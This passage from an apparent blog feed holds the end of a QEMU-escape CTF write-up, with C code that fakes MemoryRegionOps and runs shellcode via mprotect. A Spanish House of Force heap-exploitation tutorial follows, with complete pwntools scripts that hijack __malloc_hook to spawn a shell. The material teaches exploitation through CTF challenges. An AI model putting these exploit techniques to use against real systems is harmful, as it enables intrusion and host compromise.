	<span class="n">setup_fake_ops</span><span class="p">(</span><span class="n">hva_mprotect_plt</span><span class="p">,</span> <span class="n">hva_qmemu_buff</span><span class="p">);</span>
	<span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="o">**</span><span class="p">)(</span><span class="n">gva_buff</span> <span class="o">+</span> <span class="n">MREG_OPS_OFF</span><span class="p">)</span> <span class="o">=</span> <span class="n">hva_qmemu_buff</span><span class="p">;</span>
	<span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="o">**</span><span class="p">)(</span><span class="n">gva_buff</span> <span class="o">+</span> <span class="n">MREG_OPAQUE_OFF</span><span class="p">)</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)(((</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">hva_qmemu_buff</span><span class="o">+</span><span class="mh">0x60</span><span class="p">)</span><span class="o">/</span><span class="mh">0x1000</span><span class="o">*</span><span class="mh">0x1000</span><span class="p">);</span>
	<span class="n">mmio_write</span><span class="p">(</span><span class="n">trigger</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In our exploit the <code class="language-plaintext highlighter-rouge">setup_fake_ops</code> function will create the fake structure in <code class="language-plaintext highlighter-rouge">gva_buff[MREG_SIZE]</code>. Remember that anything we have in our guest buffer will be copied (once triggered the write callback) to the place where the <code class="language-plaintext highlighter-rouge">MemoryRegion mmio</code> is located, and by writing our fake ops in a <code class="language-plaintext highlighter-rouge">MREG_SIZE</code> offset from <code class="language-plaintext highlighter-rouge">gva_buff</code> they will end up in the qememu <code class="language-plaintext highlighter-rouge">buff</code>. We have done this to ensure that we don’t overwrite anything useful from <code class="language-plaintext highlighter-rouge">mmio</code>. Our fake ops will first contain a pointer to <code class="language-plaintext highlighter-rouge">hva_qmemu_buff+0x60</code> (which is where we place our shellcode) and then a pointer to the address of <code class="language-plaintext highlighter-rouge">mprotect@plt</code>. This two pointers will mock the read and write callbacks respectively. Finally, we copy our shellcode to <code class="language-plaintext highlighter-rouge">gva_buff[MREG_SIZE+0x60]</code> wich remeber that will end up in <code class="language-plaintext highlighter-rouge">buff[0x60]</code> in the quememu structure.</p>

<p>Having setup the fake ops we can now overwrite the pointer to the <code class="language-plaintext highlighter-rouge">MemoryRegionOps</code> with <code class="language-plaintext highlighter-rouge">hva_qmemu_buff</code>, which as we explained earlier is where our fake ops will end up. To be able to correctly pass the first argument to <code class="language-plaintext highlighter-rouge">mprotect</code> we have to also overwrite the <code class="language-plaintext highlighter-rouge">opaque</code> atribute with a pointer to the page where our shellcode will end up.</p>

<p>Once we trigger the write, we will have the following layout:</p>

<p><img class="post-img" src="/assets/posts/quememu-writeup/layout.jpg" alt="Memory Layout" loading="lazy" /></p>

<p>Lastly, we call <code class="language-plaintext highlighter-rouge">mprotect</code> and our shellcode, and we get the flag:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
	<span class="c1">// call mprotect</span>
	<span class="n">mmio_write</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">,</span>  <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span> <span class="o">|</span> <span class="n">PROT_EXEC</span><span class="p">);</span>
	<span class="c1">// win :)</span>
	<span class="n">puts</span><span class="p">(</span><span class="s">"[*] PWNED!"</span><span class="p">);</span>
	<span class="n">mmio_read</span><span class="p">(</span><span class="n">trigger</span><span class="p">);</span>
<span class="p">...</span>
</code></pre></div></div>

<h2 id="executing-the-exploit">Executing the exploit</h2>

<p>You can find the complete exploit <a href="https://github.com/PwnKebab/PwnChalls/tree/main/Created/HackOn2024/Quememu/solver">at this link</a>.</p>

<p>If we run the exploit, we can successfully read the flag that is located outside Qemu:</p>

<p><img class="post-img" src="/assets/posts/quememu-writeup/flag.jpg" alt="Result flag" loading="lazy" /></p>]]></content><author><name>Diego Palacios</name></author><category term="blog" /><summary type="html"><![CDATA[Writeup for the HackonCTF challenge "Quememu". The goal is to escape from Qemu by abusing a vulnerable PCI device.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://diegoaltf4.com/assets/posts/quememu-writeup/banner.webp" /><media:content medium="image" url="https://diegoaltf4.com/assets/posts/quememu-writeup/banner.webp" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Heap Exploitation 0x02 | House of Force</title><link href="https://diegoaltf4.com/heap-exploitation-0x02/" rel="alternate" type="text/html" title="Heap Exploitation 0x02 | House of Force" /><published>2022-07-26T18:03:55+00:00</published><updated>2022-07-26T18:03:55+00:00</updated><id>https://diegoaltf4.com/heap-exploitation-0x02</id><content type="html" xml:base="https://diegoaltf4.com/heap-exploitation-0x02/"><![CDATA[<p>Tras haber visto el funcionamiento de las <a href="/heap-exploitation-0x01/">estructuras básicas con las que trabaja <em>malloc</em></a> (chunks), vamos a estudiar la técnica <strong>House of Force</strong>.</p>

<p>En las versiones de GLIBC inferiores a la<strong>2.29</strong>, el tamaño del <em>top chunk</em> no está sujeto a ninguna comprobación de integridad durante las alocaciones. Esto es fundamental para poder llevar a cabo la explotación, ya que, la idea básica del House of Force es modificar el tamaño del <em>top chunk</em> para poder alocar memoria suficiente como para que la siguiente llamada a <em>malloc</em> sobrescriba nuestro objetivo.</p>

<p>Para poder ver todo esto mejor, vamos a resolver un reto de un CTF reciente:</p>

<p><em>Use the Force, Luke del Space Heroes CTF 2022.</em> Podéis descargarlo <a href="/assets/posts/heap-exploitation-0x02/force.zip">aquí</a></p>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x02/challenge.webp" alt="" loading="lazy" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ file force
force: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./.glibc/glibc_2.28_no-tcache/ld.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c50b5c7f0a7dc45dd3409c7fbf1350c534c52662, not stripped
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ checksec force
[*] '/home/diegoaltf4/Archivos/force/force'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/glibc_2.28_no-tcache'
</code></pre></div></div>

<p>Tenemos un binario de 64 bits, dinámicamente enlazado. Además, tiene canarios y NX activado. Si miramos, aparte del binario, tenemos una carpeta <em>.glibc</em>, cuyo contenido es:</p>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x02/challenge2.webp" alt="" loading="lazy" /></p>

<p>Observando las librerías compartidas del binario con el comando <em>ldd</em>, podemos ver que usa la versión 2.28 sin tcache de GLIBC. Como es una versión inferior a la 2.29, el tamaño del <em>top chunk</em> no está sujeto a ninguna comprobación de integridad durante las alocaciones.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ldd force
linux-vdso.so.1 (0x00007fffdfb5c000)
libc.so.6 =&gt; ./.glibc/glibc_2.28_no-tcache/libc.so.6 (0x00007fe966f61000)
./.glibc/glibc_2.28_no-tcache/ld.so.2 =&gt; /lib64/ld-linux-x86-64.so.2 (0x00007fe967318000)
</code></pre></div></div>

<p>Vamos a analizar el decompilado de la función main:</p>

<p class="code-title">main.c</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">long</span> <span class="n">lVar1</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">opcion</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">local_2c</span><span class="p">;</span>
  <span class="kt">size_t</span> <span class="n">size</span><span class="p">;</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">local_20</span><span class="p">;</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">local_18</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
  
  <span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\"</span><span class="s">This is our chance to destroy the Death Star, Luke</span><span class="se">\"</span><span class="s">"</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"You feel a system at %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">system</span><span class="p">);</span>
  <span class="n">local_20</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x88</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"You feel something else at %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,(</span><span class="kt">long</span><span class="p">)</span><span class="n">local_20</span> <span class="o">+</span> <span class="o">-</span><span class="mh">0x10</span><span class="p">);</span>
  <span class="n">free</span><span class="p">(</span><span class="n">local_20</span><span class="p">);</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">local_2c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">local_2c</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">;</span> <span class="n">local_2c</span> <span class="o">=</span> <span class="n">local_2c</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"(1) Reach out with the force"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"(2) Surrender"</span><span class="p">);</span>
    <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%u"</span><span class="p">,</span><span class="o">&amp;</span><span class="n">opcion</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">opcion</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"How many midi-chlorians?: "</span><span class="p">);</span>
    <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%llu"</span><span class="p">,</span><span class="o">&amp;</span><span class="n">size</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"What do you feel?: "</span><span class="p">);</span>
    <span class="n">local_18</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
    <span class="n">lVar1</span> <span class="o">=</span> <span class="n">malloc_usable_size</span><span class="p">(</span><span class="n">local_18</span><span class="p">);</span>
    <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">local_18</span><span class="p">,</span><span class="n">lVar1</span> <span class="o">+</span> <span class="mi">8</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">==</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
  <span class="n">__stack_chk_fail</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Inicialmente, se imprime la dirección de <em>system</em> y la dirección base de Heap. Para poder mostrar la base de Heap, aloca un chunk que luego libera y resta 0x10 del puntero que devuelve la llamada a <em>malloc</em>.</p>

<p>Se nos muestra un menú y tenemos dos opciones:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(1) Reach out with the force
(2) Surrender
</code></pre></div></div>

<p>Si seleccionamos la primera opción, nos pide dos valores y si seleccionamos la segunda opción salimos del programa. Vamos a analizar la primera opción:</p>

<p>El primer valor que pide es el tamaño que aloca <em>malloc</em> y el segundo el contenido. Si nos fijamos, hace una llamada a <em>malloc_usable_size</em> y luego, a través de read, escribe en el chunk el tamaño que devuelve <em>malloc_usable_size</em> + 8. Ahí tenemos el overflow que nos va a permitir sobrescribir el <em>top chunk</em>. Vamos a comprobarlo:</p>

<p class="code-title">xpl1_house_of_force.py</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="k">def</span> <span class="nf">start</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="p">[],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>  <span class="c1"># Set GDBscript below
</span>        <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">debug</span><span class="p">([</span><span class="n">exe</span><span class="p">]</span> <span class="o">+</span> <span class="n">argv</span><span class="p">,</span> <span class="n">gdbscript</span><span class="o">=</span><span class="n">gdbscript</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">args</span><span class="p">.</span><span class="n">REMOTE</span><span class="p">:</span>  <span class="c1"># ('server', 'port')
</span>        <span class="k">return</span> <span class="n">remote</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>  <span class="c1"># Run locally
</span>        <span class="k">return</span> <span class="n">process</span><span class="p">([</span><span class="n">exe</span><span class="p">]</span> <span class="o">+</span> <span class="n">argv</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">new_chunk</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'chlorians?:'</span><span class="p">,</span> <span class="n">size</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'feel?:'</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>

<span class="n">gdbscript</span> <span class="o">=</span> <span class="s">'''
init-pwndbg
'''</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="nb">locals</span><span class="p">())</span>

<span class="n">exe</span> <span class="o">=</span> <span class="s">'./force'</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">exe</span><span class="p">,</span> <span class="n">checksec</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'info'</span>

<span class="c1"># ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================
</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./.glibc/glibc_2.28_no-tcache/libc.so.6"</span><span class="p">)</span>
<span class="n">ld</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./.glibc/glibc_2.28_no-tcache/ld.so.2"</span><span class="p">)</span>

<span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">()</span>

<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'at '</span><span class="p">)</span>
<span class="n">system_leak</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>

<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"system_leak @ 0x</span><span class="si">{</span><span class="n">system_leak</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">system_leak</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">system</span>
<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"libc base @ 0x</span><span class="si">{</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'at '</span><span class="p">)</span>
<span class="n">heap_leak</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>

<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"heap_leak @ 0x</span><span class="si">{</span><span class="n">heap_leak</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="n">new_chunk</span><span class="p">(</span><span class="sa">b</span><span class="s">'24'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'A'</span><span class="o">*</span><span class="mi">24</span> <span class="o">+</span> <span class="n">flat</span><span class="p">(</span><span class="mh">0xffffffffffffffff</span><span class="p">))</span>

<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"Top Chunk modificado"</span><span class="p">)</span>

<span class="n">pause</span><span class="p">()</span>
</code></pre></div></div>

<p>Si lanzamos el exploit y depuramos con GDB, podemos ver que hemos sobrescrito adecuadamente el <em>top_chunk</em>:</p>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x02/Force1-2.webp" alt="" loading="lazy" /></p>

<p>Bien, ahora tenemos que ver qué queremos sobrescribir y calcular la distancia. Dado que este programa realiza llamadas a <em>malloc</em>, podemos intentar controlar el <em>malloc_hook</em> para que apunte a <em>system</em> y podamos obtener una instancia de<em>/bin/sh</em> al alocar un chunk.</p>

<p>Definición de <em>malloc_hook</em>:</p>

<blockquote>
  <p><em>The GNU C library lets you modify the behavior of malloc(3), realloc(3), and free(3) by specifying appropriate hook functions. You can use these hooks to help you debug programs that use dynamic memory allocation, for example.</em></p>

  <p><em>The variable __malloc_initialize_hook points at a function that is called once when the malloc implementation is initialized. This is a weak variable, so it can be overridden in the application with a definition like the following:</em></p>

  <p>void (*__malloc_initialize_hook)(void) = my_init_hook;</p>
</blockquote>

<p>Para más información, podéis consultar la <a href="https://man7.org/linux/man-pages/man3/malloc_hook.3.html">man page</a>.</p>

<p>La función <em>malloc_hook</em> se encuentra en la GLIBC. Como tenemos un leak de <em>system</em>, podemos calcular la base y a partir de ella, obtener la dirección de <em>malloc_hook</em>.</p>

<p>Ahora necesitamos calcular la distancia a la que nos encontramos del <em>malloc_hook</em>. Siguiendo el diagrama de VA del anterior artículo, podemos ver que GLIBC se encuentra en direcciones más altas que el Heap. Por tanto, la distancia hasta el <em>malloc_hook</em> la podemos calcular de la siguiente forma:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>size = (libc.symbols.__malloc_hook - 16) - (heap_leak + 16 + 24)
</code></pre></div></div>

<p>Nos situamos 16 bytes antes de la dirección de <em>malloc_hook</em> para contemplar el campo size (8 bytes) de este chunk y para tener en cuenta el size del siguiente chunk. Además, a esa dirección le tenemos que restar nuestra posición actual que es la base de heap + los 24 bytes de datos + los 16 bytes de la diferencia del puntero de <em>malloc</em>.</p>

<p>Por tanto, teniendo el tamaño calculado, solo nos queda reservar el chunk. Podemos hacer una prueba para ver si hemos hecho los cálculos bien y si estamos sobrescribiendo el <em>malloc_hook</em>. Para ello, llamamos a la función <em>new_chunk</em> con el tamaño calculado y reservamos un nuevo chunk que tenga un tamaño de 24 bytes y como datos, la dirección de prueba:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>size = (libc.symbols.__malloc_hook - 16) - (heap_leak + 16 + 24)

new_chunk(str(size).encode(), b'A')

new_chunk(b'24', p64(0xdeadbeef))
</code></pre></div></div>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x02/Force3.webp" alt="" loading="lazy" /></p>

<p>Como se puede ver, el <em>malloc_hook</em> está apuntando a la dirección que hemos especificado, por lo que el cálculo del tamaño es correcto.</p>

<p>Ahora podemos poner la dirección de <em>system</em> y llamar a <em>malloc</em> pasándole como size el puntero a <em>bin/sh</em>.</p>

<p>Exploit final:</p>

<p class="code-title">finalxpl_house_of_force.py</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="k">def</span> <span class="nf">start</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="p">[],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>  <span class="c1"># Set GDBscript below
</span>        <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">debug</span><span class="p">([</span><span class="n">exe</span><span class="p">]</span> <span class="o">+</span> <span class="n">argv</span><span class="p">,</span> <span class="n">gdbscript</span><span class="o">=</span><span class="n">gdbscript</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">args</span><span class="p">.</span><span class="n">REMOTE</span><span class="p">:</span>  <span class="c1"># ('server', 'port')
</span>        <span class="k">return</span> <span class="n">remote</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>  <span class="c1"># Run locally
</span>        <span class="k">return</span> <span class="n">process</span><span class="p">([</span><span class="n">exe</span><span class="p">]</span> <span class="o">+</span> <span class="n">argv</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">new_chunk</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'chlorians?:'</span><span class="p">,</span> <span class="n">size</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'feel?:'</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>

<span class="n">gdbscript</span> <span class="o">=</span> <span class="s">'''
init-pwndbg
'''</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="nb">locals</span><span class="p">())</span>

<span class="n">exe</span> <span class="o">=</span> <span class="s">'./force'</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">exe</span><span class="p">,</span> <span class="n">checksec</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'info'</span>

<span class="c1"># ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================
</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./.glibc/glibc_2.28_no-tcache/libc.so.6"</span><span class="p">)</span>
<span class="n">ld</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./.glibc/glibc_2.28_no-tcache/ld.so.2"</span><span class="p">)</span>

<span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">()</span>

<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'at '</span><span class="p">)</span>
<span class="n">system_leak</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>

<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"system_leak @ 0x</span><span class="si">{</span><span class="n">system_leak</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">system_leak</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">system</span>
<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"libc base @ 0x</span><span class="si">{</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'at '</span><span class="p">)</span>
<span class="n">heap_leak</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>

<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"heap_leak @ 0x</span><span class="si">{</span><span class="n">heap_leak</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="n">new_chunk</span><span class="p">(</span><span class="sa">b</span><span class="s">'24'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'A'</span><span class="o">*</span><span class="mi">24</span> <span class="o">+</span> <span class="n">flat</span><span class="p">(</span><span class="mh">0xffffffffffffffff</span><span class="p">))</span>

<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"Top Chunk modificado"</span><span class="p">)</span>

<span class="n">size</span> <span class="o">=</span> <span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">__malloc_hook</span> <span class="o">-</span> <span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="p">(</span><span class="n">heap_leak</span> <span class="o">+</span> <span class="mi">16</span> <span class="o">+</span> <span class="mi">24</span><span class="p">)</span>

<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">size</span> <span class="o">=</span> <span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="n">new_chunk</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">).</span><span class="n">encode</span><span class="p">(),</span> <span class="sa">b</span><span class="s">'A'</span><span class="p">)</span>

<span class="n">new_chunk</span><span class="p">(</span><span class="sa">b</span><span class="s">'24'</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">system</span><span class="p">))</span>

<span class="n">new_chunk</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s">'/bin/sh</span><span class="se">\x00</span><span class="s">'</span><span class="p">))).</span><span class="n">encode</span><span class="p">(),</span> <span class="sa">b</span><span class="s">''</span><span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x02/Force4.webp" alt="" loading="lazy" /></p>

<h3 id="referencias">Referencias:</h3>

<p><a href="http://phrack.org/issues/66/10.html">http://phrack.org/issues/66/10.html</a></p>

<p><a href="https://heap-exploitation.dhavalkapil.com/attacks/house_of_force">https://heap-exploitation.dhavalkapil.com/attacks/house_of_force</a></p>

